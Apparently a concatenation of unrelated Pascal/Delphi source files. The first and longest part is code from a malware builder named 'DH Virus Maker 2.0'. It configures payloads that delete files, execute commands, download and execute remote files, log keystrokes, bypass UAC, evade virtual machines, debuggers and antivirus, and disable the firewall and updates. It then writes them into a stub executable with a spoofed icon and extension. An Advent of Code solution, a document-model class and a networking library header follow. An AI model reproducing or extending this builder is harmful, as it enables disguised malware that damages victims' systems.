op_uac_tricky_exit_if_off, op_use_this_datetime, op_anti_virtual_pc,
op_anti_virtual_box, op_anti_debug, op_anti_wireshark, op_anti_ollydbg,
op_anti_anubis, op_anti_kaspersky, op_anti_vmware, op_disable_uac,
op_disable_firewall, op_disable_cmd, op_disable_run, op_disable_taskmgr,
op_disable_regedit, op_disable_updates, op_disable_msconfig: string;
//
begin
stub_generado := save_dialog('Save your malware', 'Exe file|*.exe', 'exe', 0);
// Functions Malware
if (cbDeleteFile.Checked) then
begin
file_to_delete := InputBox('DH Virus Maker 2.0 - Delete File',
'File : ', '');
if not(file_to_delete = '') then
begin
op_deletefile := '1';
end;
end
else
begin
op_deletefile := '0';
end;
if (cbKillProcess.Checked) then
begin
process_name := InputBox('DH Virus Maker 2.0 - Kill Process',
'Process Name : ', '');
if not(process_name = '') then
begin
op_kill_process := '1';
end;
end
else
begin
op_kill_process := '0';
end;
if (cbExecuteCommand.Checked) then
begin
command_to_execute := InputBox('DH Virus Maker 2.0 - Execute Command',
'Command : ', '');
if not(command_to_execute = '') then
begin
op_execute_command := '1';
end;
end
else
begin
op_execute_command := '0';
end;
if (cbOpenCD.Checked) then
begin
op_open_cd := '1';
end
else
begin
op_open_cd := '0';
end;
if (cbHideIcons.Checked) then
begin
op_hide_icons := '1';
end
else
begin
op_hide_icons := '0';
end;
if (cbHideTaskbar.Checked) then
begin
op_hide_taskbar := '1';
end
else
begin
op_hide_taskbar := '0';
end;
if (cbMessagesSingle.Checked) then
begin
message_single_title := InputBox('DH Virus Maker 2.0 - Message Single',
'Title : ', '');
message_single_content := InputBox('DH Virus Maker 2.0 - Message Single',
'Content : ', '');
if not(message_single_title = '') and not(message_single_content = '') then
begin
op_messages_single := '1';
end;
end
else
begin
op_messages_single := '0';
end;
if (cbMessagesBomber.Checked) then
begin
message_bomber_title := InputBox('DH Virus Maker 2.0 - Message Bomber',
'Title : ', '');
message_bomber_content := InputBox('DH Virus Maker 2.0 - Message Bomber',
'Content : ', '');
message_bomber_count := InputBox('DH Virus Maker 2.0 - Message Bomber',
'Count : ', '');
if not(message_bomber_title = '') and not(message_bomber_content = '') and
not(message_bomber_count = '') then
begin
op_messages_bomber := '1';
end;
end
else
begin
op_messages_bomber := '0';
end;
if (cbSendKeys.Checked) then
begin
text_to_send := InputBox('DH Virus Maker 2.0 - SendKeys', 'Text : ', '');
if not(text_to_send = '') then
begin
op_sendkeys := '1';
end;
end
else
begin
op_sendkeys := '0';
end;
if (cbWriteWord.Checked) then
begin
word_text_to_send := InputBox('DH Virus Maker 2.0 - Write Word',
'Text : ', '');
if not(word_text_to_send = '') then
begin
op_write_word := '1';
end;
end
else
begin
op_write_word := '0';
end;
if (cbCrazyMouse.Checked) then
begin
mouse_count := InputBox('DH Virus Maker 2.0 - Crazy Mouse', 'Count : ', '');
if not(mouse_count = '') then
begin
op_crazy_mouse := '1';
end;
end
else
begin
op_crazy_mouse := '0';
end;
if (cbCrazyHour.Checked) then
begin
hour_count := InputBox('DH Virus Maker 2.0 - Crazy Hour', 'Count : ', '');
if not(hour_count = '') then
begin
op_crazy_hour := '1';
end;
end
else
begin
op_crazy_hour := '0';
end;
if (cbShutdown.Checked) then
begin
op_shutdown := '1';
end
else
begin
op_shutdown := '0';
end;
if (cbReboot.Checked) then
begin
op_reboot := '1';
end
else
begin
op_reboot := '0';
end;
if (cbCloseSession.Checked) then
begin
op_close_session := '1';
end
else
begin
op_close_session := '0';
end;
if (cbOpenURL.Checked) then
begin
url_to_open := InputBox('DH Virus Maker 2.0 - Open URL', 'URL : ', '');
if not(url_to_open = '') then
begin
op_open_url := '1';
end;
end
else
begin
op_open_url := '0';
end;
if (cbLoadPaint.Checked) then
begin
op_load_paint := '1';
end
else
begin
op_load_paint := '0';
end;
if (cbEditTaskbarText.Checked) then
begin
new_taskbar_text := InputBox('DH Virus Maker 2.0 - Edit Taskbar Text',
'Text : ', '');
if not(new_taskbar_text = '') then
begin
op_edit_taskbar_text := '1';
end;
end
else
begin
op_edit_taskbar_text := '0';
end;
if (cbTurnOffMonitor.Checked) then
begin
op_turn_off_monitor := '1';
end
else
begin
op_turn_off_monitor := '0';
end;
if (cbSpeak.Checked) then
begin
text_to_speak := InputBox('DH Virus Maker 2.0 - Speak', 'Text : ', '');
if not(text_to_speak = '') then
begin
op_speak := '1';
end;
end
else
begin
op_speak := '0';
end;
if (cbPlayBeeps.Checked) then
begin
beeps_count := InputBox('DH Virus Maker 2.0 - Play Beeps', 'Count : ', '');
if not(beeps_count = '') then
begin
op_play_beeps := '1';
end;
end
else
begin
op_play_beeps := '0';
end;
if (cbBlockAll.Checked) then
begin
op_block_all := '1';
end
else
begin
op_block_all := '0';
end;
if (cbChangeWallpaper.Checked) then
begin
url_wallpaper := InputBox('DH Virus Maker 2.0 - Change Wallpaper',
'URL : ', '');
if not(url_wallpaper = '') then
begin
op_change_wallpaper := '1';
end;
end
else
begin
op_change_wallpaper := '0';
end;
if (cbChangeScreensaver.Checked) then
begin
url_screensaver := InputBox('DH Virus Maker 2.0 - Change ScreenSaver',
'URL : ', '');
if not(url_screensaver = '') then
begin
op_change_screensaver := '1';
end;
end
else
begin
op_change_screensaver := '0';
end;
if (cbPrinterBomber.Checked) then
begin
file_to_print := InputBox('DH Virus Maker 2.0 - Printer Bomber',
'File to print : ', '');
printer_bomber_count := InputBox('DH Virus Maker 2.0 - Printer Bomber',
'Count : ', '');
if not(file_to_print = '') and not(printer_bomber_count = '') then
begin
op_printer_bomber := '1';
end;
end
else
begin
op_printer_bomber := '0';
end;
if (cbFormBomber.Checked) then
begin
form_bomber_title := InputBox('DH Virus Maker 2.0 - Form Bomber',
'Title : ', '');
form_bomber_content := InputBox('DH Virus Maker 2.0 - Form Bomber',
'Content : ', '');
form_bomber_count := InputBox('DH Virus Maker 2.0 - Form Bomber',
'Count : ', '');
if not(form_bomber_title = '') and not(form_bomber_content = '') and
not(form_bomber_count = '') then
begin
op_form_bomber := '1';
end;
end
else
begin
op_form_bomber := '0';
end;
if (cbHTMLBomber.Checked) then
begin
html_bomber_title := InputBox('DH Virus Maker 2.0 - HTML Bomber',
'Title : ', '');
html_bomber_content := InputBox('DH Virus Maker 2.0 - HTML Bomber',
'Content : ', '');
html_bomber_count := InputBox('DH Virus Maker 2.0 - HTML Bomber',
'Count : ', '');
if not(html_bomber_title = '') and not(html_bomber_content = '') and
not(html_bomber_count = '') then
begin
op_html_bomber := '1';
end;
end
else
begin
op_html_bomber := '0';
end;
if (cbWindowsBomber.Checked) then
begin
windows_count := InputBox('DH Virus Maker 2.0 - Windows Bomber',
'Count : ', '');
if not(windows_count = '') then
begin
op_windows_bomber := '1';
end;
end
else
begin
op_windows_bomber := '0';
end;
if (cbDownloadAndExecute.Checked) then
begin
url_download := InputBox('DH Virus Maker 2.0 - Download and Execute',
'URL : ', '');
new_name := InputBox('DH Virus Maker 2.0 - Download and Execute',
'New Name : ', '');
if not(url_download = '') and not(new_name = '') then
begin
op_download_and_execute := '1';
end;
end
else
begin
op_download_and_execute := '0';
end;
//
if (cbHideFiles.Checked) then
begin
op_hide_files := '1';
end
else
begin
op_hide_files := '0';
end;
if (cbUseStartup.Checked) then
begin
op_use_startup := '1';
end
else
begin
op_use_startup := '0';
end;
if (cb_Use_UAC_Tricky.Checked) then
begin
op_use_uac_tricky := '1';
end
else
begin
op_use_uac_tricky := '0';
end;
if (rbContinue_if_UAC_is_Off.Checked) then
begin
op_uac_tricky_continue_if_off := '1';
end
else
begin
op_uac_tricky_continue_if_off := '0';
end;
if (rbExit_if_UAC_is_Off.Checked) then
begin
op_uac_tricky_exit_if_off := '1';
end
else
begin
op_uac_tricky_exit_if_off := '0';
end;
if (rbSelectPath.Checked) then
begin
op_use_special_path := '1';
end
else
begin
op_use_special_path := '0';
end;
if (rbIUseThis.Checked) then
begin
op_i_use_this := '1';
end
else
begin
op_i_use_this := '0';
end;
if (cbUseThisDateTime.Checked) then
begin
op_use_this_datetime := '1';
end
else
begin
op_use_this_datetime := '0';
end;
if (cbAnti_VirtualPC.Checked) then
begin
op_anti_virtual_pc := '1';
end
else
begin
op_anti_virtual_pc := '0';
end;
if (cbAnti_VirtualBox.Checked) then
begin
op_anti_virtual_box := '1';
end
else
begin
op_anti_virtual_box := '0';
end;
if (cbAnti_Debug.Checked) then
begin
op_anti_debug := '1';
end
else
begin
op_anti_debug := '0';
end;
if (cbAnti_Wireshark.Checked) then
begin
op_anti_wireshark := '1';
end
else
begin
op_anti_wireshark := '0';
end;
if (cbAnti_OllyDbg.Checked) then
begin
op_anti_ollydbg := '1';
end
else
begin
op_anti_ollydbg := '0';
end;
if (cbAnti_Anubis.Checked) then
begin
op_anti_anubis := '1';
end
else
begin
op_anti_anubis := '0';
end;
if (cbAnti_Kaspersky.Checked) then
begin
op_anti_kaspersky := '1';
end
else
begin
op_anti_kaspersky := '0';
end;
if (cbAnti_VMWare.Checked) then
begin
op_anti_vmware := '1';
end
else
begin
op_anti_vmware := '0';
end;
if (cbDisable_UAC.Checked) then
begin
op_disable_uac := '1';
end
else
begin
op_disable_uac := '0';
end;
if (cbDisable_Firewall.Checked) then
begin
op_disable_firewall := '1';
end
else
begin
op_disable_firewall := '0';
end;
if (cbDisable_CMD.Checked) then
begin
op_disable_cmd := '1';
end
else
begin
op_disable_cmd := '0';
end;
if (cbDisable_Run.Checked) then
begin
op_disable_run := '1';
end
else
begin
op_disable_run := '0';
end;
if (cbDisable_Taskmgr.Checked) then
begin
op_disable_taskmgr := '1';
end
else
begin
op_disable_taskmgr := '0';
end;
if (cbDisable_Regedit.Checked) then
begin
op_disable_regedit := '1';
end
else
begin
op_disable_regedit := '0';
end;
if (cbDisable_Updates.Checked) then
begin
op_disable_updates := '1';
end
else
begin
op_disable_updates := '0';
end;
if (cbDisable_MsConfig.Checked) then
begin
op_disable_msconfig := '1';
end
else
begin
op_disable_msconfig := '0';
end;
//
configuration := '[op_deletefile]' + op_deletefile +
'[op_deletefile][file_to_delete]' + file_to_delete +
'[file_to_delete][op_kill_process]' + op_kill_process +
'[op_kill_process][process_name]' + process_name +
'[process_name][op_execute_command]' + op_execute_command +
'[op_execute_command][command_to_execute]' + command_to_execute +
'[command_to_execute][op_open_cd]' + op_open_cd +
'[op_open_cd][op_hide_icons]' + op_hide_icons +
'[op_hide_icons][op_hide_taskbar]' + op_hide_taskbar +
'[op_hide_taskbar][op_messages_single]' + op_messages_single +
'[op_messages_single][message_single_title]' + message_single_title +
'[message_single_title][message_single_content]' + message_single_content +
'[message_single_content][op_messages_bomber]' + op_messages_bomber +
'[op_messages_bomber][message_bomber_title]' + message_bomber_title +
'[message_bomber_title][message_bomber_content]' + message_bomber_content +
'[message_bomber_content][message_bomber_count]' + message_bomber_count +
'[message_bomber_count][op_sendkeys]' + op_sendkeys +
'[op_sendkeys][text_to_send]' + text_to_send +
'[text_to_send][op_write_word]' + op_write_word +
'[op_write_word][word_text_to_send]' + word_text_to_send +
'[word_text_to_send][op_crazy_mouse]' + op_crazy_mouse +
'[op_crazy_mouse][mouse_count]' + mouse_count +
'[mouse_count][op_crazy_hour]' + op_crazy_hour +
'[op_crazy_hour][hour_count]' + hour_count + '[hour_count][op_shutdown]' +
op_shutdown + '[op_shutdown][op_reboot]' + op_reboot +
'[op_reboot][op_close_session]' + op_close_session +
'[op_close_session][op_open_url]' + op_open_url +
'[op_open_url][url_to_open]' + url_to_open + '[url_to_open][op_load_paint]'
+ op_load_paint + '[op_load_paint][op_edit_taskbar_text]' +
op_edit_taskbar_text + '[op_edit_taskbar_text][new_taskbar_text]' +
new_taskbar_text + '[new_taskbar_text][op_turn_off_monitor]' +
op_turn_off_monitor + '[op_turn_off_monitor][op_speak]' + op_speak +
'[op_speak][text_to_speak]' + text_to_speak +
'[text_to_speak][op_play_beeps]' + op_play_beeps +
'[op_play_beeps][beeps_count]' + beeps_count + '[beeps_count][op_block_all]'
+ op_block_all + '[op_block_all][op_change_wallpaper]' + op_change_wallpaper
+ '[op_change_wallpaper][url_wallpaper]' + url_wallpaper +
'[url_wallpaper][op_change_screensaver]' + op_change_screensaver +
'[op_change_screensaver][url_screensaver]' + url_screensaver +
'[url_screensaver][op_printer_bomber]' + op_printer_bomber +
'[op_printer_bomber][file_to_print]' + file_to_print +
'[file_to_print][printer_bomber_count]' + printer_bomber_count +
'[printer_bomber_count][op_form_bomber]' + op_form_bomber +
'[op_form_bomber][form_bomber_title]' + form_bomber_title +
'[form_bomber_title][form_bomber_content]' + form_bomber_content +
'[form_bomber_content][form_bomber_count]' + form_bomber_count +
'[form_bomber_count][op_html_bomber]' + op_html_bomber +
'[op_html_bomber][html_bomber_title]' + html_bomber_title +
'[html_bomber_title][html_bomber_content]' + html_bomber_content +
'[html_bomber_content][html_bomber_count]' + html_bomber_count +
'[html_bomber_count][op_windows_bomber]' + op_windows_bomber +
'[op_windows_bomber][windows_count]' + windows_count +
'[windows_count][op_download_and_execute]' + op_download_and_execute +
'[op_download_and_execute][url_download]' + url_download +
'[url_download][new_name]' + new_name + '[new_name]';
configuration := configuration + '[active]1[active][op_hide_files]' +
op_hide_files + '[op_hide_files]' + '[op_use_startup]' + op_use_startup +
'[op_use_startup]' + '[op_keylogger]' + op_use_keylogger + '[op_keylogger]';
extraction_config := '[op_use_special_path]' + op_use_special_path +
'[op_use_special_path]' + '[op_use_this_path]' + op_i_use_this +
'[op_use_this_path]' + '[special_path]' + cmbSpecialPaths.text +
'[special_path]' + '[path]' + txtPath.text + '[path]' + '[folder]' +
txtFolder.text + '[folder]' + '[op_use_uac_tricky]' + op_use_uac_tricky +
'[op_use_uac_tricky][op_uac_tricky_continue_if_off]' +
op_uac_tricky_continue_if_off + '[op_uac_tricky_continue_if_off]' +
'[op_uac_tricky_exit_if_off]' + op_uac_tricky_exit_if_off +
'[op_uac_tricky_exit_if_off][op_use_this_datetime]' + op_use_this_datetime +
'[op_use_this_datetime][creation_time]' + txtCreationTime.text +
'[creation_time][modified_time]' + txtModifiedTime.text +
'[modified_time][last_access]' + txtLastAccessTime.text + '[last_access]';
antis_config := '[op_anti_virtual_pc]' + op_anti_virtual_pc +
'[op_anti_virtual_pc]' + '[op_anti_virtual_box]' + op_anti_virtual_box +
'[op_anti_virtual_box]' + '[op_anti_debug]' + op_anti_debug +
'[op_anti_debug]' + '[op_anti_wireshark]' + op_anti_wireshark +
'[op_anti_wireshark]' + '[op_anti_ollydbg]' + op_anti_ollydbg +
'[op_anti_ollydbg]' + '[op_anti_anubis]' + op_anti_anubis +
'[op_anti_anubis]' + '[op_anti_kaspersky]' + op_anti_kaspersky +
'[op_anti_kaspersky]' + '[op_anti_vmware]' + op_anti_vmware +
'[op_anti_vmware]';
disables_config := '[op_disable_uac]' + op_disable_uac + '[op_disable_uac]' +
'[op_disable_firewall]' + op_disable_firewall + '[op_disable_firewall]' +
'[op_disable_cmd]' + op_disable_cmd + '[op_disable_cmd]' +
'[op_disable_run]' + op_disable_run + '[op_disable_run]' +
'[op_disable_taskmgr]' + op_disable_taskmgr + '[op_disable_taskmgr]' +
'[op_disable_regedit]' + op_disable_regedit + '[op_disable_regedit]' +
'[op_disable_updates]' + op_disable_updates + '[op_disable_updates]' +
'[op_disable_msconfig]' + op_disable_msconfig + '[op_disable_msconfig]';
linea_final := configuration + extraction_config + antis_config +
disables_config;
DeleteFile(stub_generado);
CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' + 'stub.exe'),
PChar(stub_generado), True);
builder_tools := T_DH_Builder_Tools.Create();
server_manager := T_DH_Server_Manager.Create();
if (builder_tools.write_resource(stub_generado, linea_final, 666)) then
begin
if (cbIUseFilePumper.Checked) then
begin
if (server_manager.file_pumper(stub_generado, txtCount.text,
cmbTypes.text)) then
begin
status.Panels[0].text := '[+] File Pumper';
status.Update;
end
else
begin
status.Panels[0].text := '[-] Error with File Pumper';
status.Update;
end;
end;
if (cbUseIconChanger.Checked) then
begin
if (server_manager.change_icon(stub_generado, txtPathIcon.text)) then
begin
status.Panels[0].text := '[+] Icon Changed';
status.Update;
end
else
begin
status.Panels[0].text := '[-] Error with Icon Changer';
status.Update;
end;
end;
if (cbUseExtensionSpoofer.Checked) then
begin
if (rbUseSelectExtension.Checked) then
begin
if (server_manager.extension_changer(stub_generado, cmbExtensions.text))
then
begin
status.Panels[0].text := '[+] Extension Changed';
status.Update;
end
else
begin
status.Panels[0].text := '[-] Error with Extension Changer';
status.Update;
end;
end;
if (rbUseThisExtension.Checked) then
begin
if (server_manager.extension_changer(stub_generado, txtExtension.text))
then
begin
status.Panels[0].text := '[+] Extension Changed';
status.Update;
end
else
begin
status.Panels[0].text := '[-] Error with Extension Changer';
status.Update;
end;
end;
end;
status.Panels[0].text := '[+] Done';
status.Update;
message_box('DH Virus Maker 2.0', 'Stub Generated', 'Information');
end
else
begin
message_box('DH Virus Maker 2.0', 'Error generating stub', 'Error');
end;
builder_tools.Free;
server_manager.Free;
//
end;
procedure TFormHome.btnLoadIconClick(Sender: TObject);
var
icon_loaded: string;
begin
icon_loaded := open_dialog('Select Icon', 'Icon file|*.ico', 0);
if not(icon_loaded = '') then
begin
txtPathIcon.text := icon_loaded;
imgPreviewIcon.Picture.LoadFromFile(icon_loaded);
message_box('DH Virus Maker 2.0', 'Icon loaded', 'Information');
end
else
begin
message_box('DH Virus Maker 2.0', 'Icon not found', 'Warning');
end;
end;
procedure TFormHome.btnActiveCMDClick(Sender: TObject);
var
disable: T_DH_Malware_Disables;
begin
disable := T_DH_Malware_Disables.Create();
if (disable.cmd_manager('on')) then
begin
message_box('DH Virus Maker 2.0', 'CMD Enabled', 'Information');
end
else
begin
message_box('DH Virus Maker 2.0', 'Error', 'Error');
end;
disable.Free();
end;
procedure TFormHome.btnActiveFirewallClick(Sender: TObject);
var
disable: T_DH_Malware_Disables;
begin
disable := T_DH_Malware_Disables.Create();
if (disable.firewall_manager('seven', 'on')) then
begin
message_box('DH Virus Maker 2.0', 'Firewall Enabled', 'Information');
end
else
begin
message_box('DH Virus Maker 2.0', 'Error', 'Error');
end;
disable.Free();
end;
procedure TFormHome.btnActiveRegeditClick(Sender: TObject);
var
disable: T_DH_Malware_Disables;
begin
disable := T_DH_Malware_Disables.Create();
if (disable.regedit_manager('on')) then
begin
message_box('DH Virus Maker 2.0', 'Regedit Enabled', 'Information');
end
else
begin
message_box('DH Virus Maker 2.0', 'Error', 'Error');
end;
disable.Free();
end;
procedure TFormHome.btnActiveRunClick(Sender: TObject);
var
disable: T_DH_Malware_Disables;
begin
disable := T_DH_Malware_Disables.Create();
if (disable.run_manager('on')) then
begin
message_box('DH Virus Maker 2.0', 'Run Enabled', 'Information');
end
else
begin
message_box('DH Virus Maker 2.0', 'Error', 'Error');
end;
disable.Free();
end;
procedure TFormHome.btnActiveTaskmgrClick(Sender: TObject);
var
disable: T_DH_Malware_Disables;
begin
disable := T_DH_Malware_Disables.Create();
if (disable.taskmgr_manager('on')) then
begin
message_box('DH Virus Maker 2.0', 'Taskmgr Enabled', 'Information');
end
else
begin
message_box('DH Virus Maker 2.0', 'Error', 'Error');
end;
disable.Free();
end;
procedure TFormHome.btnActiveUACClick(Sender: TObject);
var
disable: T_DH_Malware_Disables;
begin
disable := T_DH_Malware_Disables.Create();
if (disable.uac_manager('on')) then
begin
message_box('DH Virus Maker 2.0', 'UAC Enabled', 'Information');
end
else
begin
message_box('DH Virus Maker 2.0', 'Error', 'Error');
end;
disable.Free();
end;
procedure TFormHome.btnActiveUpdatesClick(Sender: TObject);
var
disable: T_DH_Malware_Disables;
begin
disable := T_DH_Malware_Disables.Create();
if (disable.updates_manager('on')) then
begin
message_box('DH Virus Maker 2.0', 'Updates Enabled', 'Information');
end
else
begin
message_box('DH Virus Maker 2.0', 'Error', 'Error');
end;
disable.Free();
end;
procedure TFormHome.btnRestoreScreensaverClick(Sender: TObject);
var
malware: T_DH_Malware_Functions;
begin
malware := T_DH_Malware_Functions.Create();
if (Pos('OK', malware.unlock_sreensaver()) > 0) then
begin
message_box('DH Virus Maker 2.0', 'Screensaver Enabled', 'Information');
end
else
begin
message_box('DH Virus Maker 2.0', 'Error', 'Error');
end;
malware.Free();
end;
procedure TFormHome.btnRestoreTaskbarTextClick(Sender: TObject);
var
malware: T_DH_Malware_Functions;
begin
malware := T_DH_Malware_Functions.Create();
if (Pos('OK', malware.edit_taskbar_text('off', 'hi')) > 0) then
begin
message_box('DH Virus Maker 2.0', 'Restore Taskbar Enabled', 'Information');
end
else
begin
message_box('DH Virus Maker 2.0', 'Error', 'Error');
end;
malware.Free();
end;
procedure TFormHome.btnRestoreWallpaperClick(Sender: TObject);
var
malware: T_DH_Malware_Functions;
begin
malware := T_DH_Malware_Functions.Create();
if (Pos('OK', malware.unlock_wallpaper()) > 0) then
begin
message_box('DH Virus Maker 2.0', 'Wallpaper Enabled', 'Information');
end
else
begin
message_box('DH Virus Maker 2.0', 'Error', 'Error');
end;
malware.Free();
end;
procedure TFormHome.btnShowIconsClick(Sender: TObject);
var
malware: T_DH_Malware_Functions;
begin
malware := T_DH_Malware_Functions.Create();
if (Pos('OK', malware.icons_manager('show')) > 0) then
begin
message_box('DH Virus Maker 2.0', 'Icons Enabled', 'Information');
end
else
begin
message_box('DH Virus Maker 2.0', 'Error', 'Error');
end;
malware.Free();
end;
procedure TFormHome.btnShowTaskbarClick(Sender: TObject);
var
malware: T_DH_Malware_Functions;
begin
malware := T_DH_Malware_Functions.Create();
if (Pos('OK', malware.taskbar_manager('show')) > 0) then
begin
message_box('DH Virus Maker 2.0', 'Taskbar Enabled', 'Information');
end
else
begin
message_box('DH Virus Maker 2.0', 'Error', 'Error');
end;
malware.Free();
end;
end.
// The End ?
|
PROGRAM d1b;
USES sysutils, integerlist;
TYPE
longintlist= TInt64List;
FUNCTION answer(filename:string) : longint;
VAR
f: text;
l: string;
elf_total_calories: longint = 0;
i: integer;
highest: longintlist;
BEGIN
answer := 0;
highest := longintlist.Create;
assign(f, filename);
reset(f);
REPEAT
readln(f, l);
IF l <> '' THEN elf_total_calories += strtoint(l)
ELSE
BEGIN{next elf}
highest.Add(elf_total_calories);
elf_total_calories := 0;
continue;
END;
UNTIL eof(f);
highest.Add(elf_total_calories);
close(f);
highest.Sort;
FOR i:=highest.Count-3 TO highest.Count-1 DO answer += highest[i];
END;
CONST
testfile = 'd1.test.1';
filename = 'd1.input';
BEGIN{d1b}
assert(answer(testfile) = 45000, 'test faal');
writeln('answer: ', answer(filename));
END.
|
unit deDiction;
// Модуль: "w:\garant6x\implementation\Garant\GbaNemesis\Diction\deDiction.pas"
// Стереотип: "SimpleClass"
// Элемент модели: "TdeDiction" MUID: (4925538201C4)
{$Include w:\garant6x\implementation\Garant\nsDefine.inc}
interface
{$If NOT Defined(Admin) AND NOT Defined(Monitorings)}
uses
l3IntfUses
, deCommonDiction
, DictionInterfaces
, bsTypes
, DocumentInterfaces
, DocumentUnit
;
type
TdeDiction = class(TdeCommonDiction, IdeDiction)
private
f_DictLanguage: TbsLanguage;
f_ContextMap: InsLangToContextMap;
protected
function pm_GetDictLanguage: TbsLanguage;
procedure pm_SetDictLanguage(aValue: TbsLanguage);
function pm_GetContextMap: InsLangToContextMap;
procedure pm_SetContextMap(const aValue: InsLangToContextMap);
procedure Cleanup; override;
{* Функция очистки полей объекта. }
function DefaultDocType: TDocumentType; override;
procedure AssignFromClone(const aData: IdeDocInfo); override;
public
class function Make(const aDocument: IDocument;
aDictLanguage: TbsLanguage = bsTypes.LG_RUSSIAN;
const aContextMap: InsLangToContextMap = nil): IdeDocInfo;
class function Convert(const aDocInfo: IdeDocInfo;
aLang: TbsLanguage): IdeDiction;
end;//TdeDiction
{$IfEnd} // NOT Defined(Admin) AND NOT Defined(Monitorings)
implementation
{$If NOT Defined(Admin) AND NOT Defined(Monitorings)}
uses
l3ImplUses
, SysUtils
, bsDataContainer
//#UC START# *4925538201C4impl_uses*
//#UC END# *4925538201C4impl_uses*
;
class function TdeDiction.Make(const aDocument: IDocument;
aDictLanguage: TbsLanguage = bsTypes.LG_RUSSIAN;
const aContextMap: InsLangToContextMap = nil): IdeDocInfo;
//#UC START# *4B1E9B7E023E_4925538201C4_var*
var
lClass: TdeDiction;
//#UC END# *4B1E9B7E023E_4925538201C4_var*
begin
//#UC START# *4B1E9B7E023E_4925538201C4_impl*
lClass := Create(TbsDocumentContainer.Make(aDocument));
try
lClass.f_DictLanguage := aDictLanguage;
lClass.f_ContextMap := aContextMap;
Result := lClass;
finally
FreeAndNil(lClass);
end;
//#UC END# *4B1E9B7E023E_4925538201C4_impl*
end;//TdeDiction.Make
class function TdeDiction.Convert(const aDocInfo: IdeDocInfo;
aLang: TbsLanguage): IdeDiction;
//#UC START# *4B1E9BA80018_4925538201C4_var*
var
l_Data: TdeDiction;
//#UC END# *4B1E9BA80018_4925538201C4_var*
begin
//#UC START# *4B1E9BA80018_4925538201C4_impl*
if Assigned(aDocInfo) then
l_Data := CreateCloned(aDocInfo)
else
l_Data := Create(TbsDocumentContainer.Make(nil));
try
l_Data.pm_SetDictLanguage(aLang);
Result := l_Data;
finally
FreeAndNil(l_Data);
end;
//#UC END# *4B1E9BA80018_4925538201C4_impl*
end;//TdeDiction.Convert
function TdeDiction.pm_GetDictLanguage: TbsLanguage;
//#UC START# *4B1D157B01C9_4925538201C4get_var*
//#UC END# *4B1D157B01C9_4925538201C4get_var*
begin
//#UC START# *4B1D157B01C9_4925538201C4get_impl*
Result := f_DictLanguage;
//#UC END# *4B1D157B01C9_4925538201C4get_impl*
end;//TdeDiction.pm_GetDictLanguage
procedure TdeDiction.pm_SetDictLanguage(aValue: TbsLanguage);
//#UC START# *4B1D157B01C9_4925538201C4set_var*
//#UC END# *4B1D157B01C9_4925538201C4set_var*
begin
//#UC START# *4B1D157B01C9_4925538201C4set_impl*
f_DictLanguage := aValue;
//#UC END# *4B1D157B01C9_4925538201C4set_impl*
end;//TdeDiction.pm_SetDictLanguage
function TdeDiction.pm_GetContextMap: InsLangToContextMap;
//#UC START# *52D3BE9302D6_4925538201C4get_var*
//#UC END# *52D3BE9302D6_4925538201C4get_var*
begin
//#UC START# *52D3BE9302D6_4925538201C4get_impl*
Result := InsLangToContextMap(f_ContextMap);
//#UC END# *52D3BE9302D6_4925538201C4get_impl*
end;//TdeDiction.pm_GetContextMap
procedure TdeDiction.pm_SetContextMap(const aValue: InsLangToContextMap);
//#UC START# *52D3BE9302D6_4925538201C4set_var*
//#UC END# *52D3BE9302D6_4925538201C4set_var*
begin
//#UC START# *52D3BE9302D6_4925538201C4set_impl*
f_ContextMap := aValue;
//#UC END# *52D3BE9302D6_4925538201C4set_impl*
end;//TdeDiction.pm_SetContextMap
procedure TdeDiction.Cleanup;
{* Функция очистки полей объекта. }
//#UC START# *479731C50290_4925538201C4_var*
//#UC END# *479731C50290_4925538201C4_var*
begin
//#UC START# *479731C50290_4925538201C4_impl*
f_ContextMap := nil;
inherited;
//#UC END# *479731C50290_4925538201C4_impl*
end;//TdeDiction.Cleanup
function TdeDiction.DefaultDocType: TDocumentType;
//#UC START# *4B1E714A0125_4925538201C4_var*
//#UC END# *4B1E714A0125_4925538201C4_var*
begin
//#UC START# *4B1E714A0125_4925538201C4_impl*
Result := DT_EXPLANATORY;
//#UC END# *4B1E714A0125_4925538201C4_impl*
end;//TdeDiction.DefaultDocType
procedure TdeDiction.AssignFromClone(const aData: IdeDocInfo);
//#UC START# *4B1E749D033C_4925538201C4_var*
var
l_Data: IdeDiction;
//#UC END# *4B1E749D033C_4925538201C4_var*
begin
//#UC START# *4B1E749D033C_4925538201C4_impl*
inherited;
if Supports(aData, IdeDiction, l_Data) then
begin
f_DictLanguage := l_Data.DictLanguage;
f_ContextMap := l_Data.ContextMap;
end;
//#UC END# *4B1E749D033C_4925538201C4_impl*
end;//TdeDiction.AssignFromClone
{$IfEnd} // NOT Defined(Admin) AND NOT Defined(Monitorings)
end.
|
{
Clever Internet Suite
Copyright (C) 2013 Clever Components
All Rights Reserved
www.CleverComponents.com
}
unit clDCUtils;
interface
{$I clVer.inc}
{$IFDEF DELPHI6}
{$WARN SYMBOL_PLATFORM OFF}
{$ENDIF}
uses
{$IFNDEF DELPHIXE2}
Classes, SysUtils, Windows,
{$ELSE}
System.Classes, System.SysUtils, Winapi.Windows,
{$ENDIF}
clWinInet, clWUtils;
type
EclInternetError = class(Exception)
private
FErrorCode: Integer;
public
constructor Create(const AErrorText: string; AErrorCode: Integer; ADummy: Boolean = False);
constructor CreateByLastError;
property ErrorCode: Integer read FErrorCode;
class function GetLastErrorText(ACode: Integer): string;
end;
TclResourceInfo = class
private
FSize: Int64;
FName: string;
FDate: TDateTime;
FContentType: string;
FStatusCode: Integer;
FAllowsRandomAccess: Boolean;
FContentDisposition: string;
FCompressed: Boolean;
FStatusText: string;
function GetAllowsRandomAccess: Boolean;
protected
procedure SetName(const AValue: string);
procedure SetDate(AValue: TDateTime);
procedure SetSize(AValue: Int64);
procedure SetContentType(const AValue: string);
procedure SetStatus(ACode: Integer; const AText: string);
procedure SetAllowsRandomAccess(AValue: Boolean);
procedure SetContentDisposition(const AValue: string);
procedure SetCompressed(AValue: Boolean);
public
constructor Create;
procedure Assign(Source: TclResourceInfo); virtual;
property Name: string read FName;
property Date: TDateTime read FDate;
property Size: Int64 read FSize;
property ContentType: string read FContentType;
property StatusCode: Integer read FStatusCode;
property StatusText: string read FStatusText;
property AllowsRandomAccess: Boolean read GetAllowsRandomAccess;
property ContentDisposition: string read FContentDisposition;
property Compressed: Boolean read FCompressed;
end;
const
MaxThreadCount = 10;
DefaultThreadCount = 5;
DefaultPreviewChar = #128;
DefaultPreviewCharCount = 256;
DefaultTryCount = 5;
DefaultTimeOut = 5000;
resourcestring
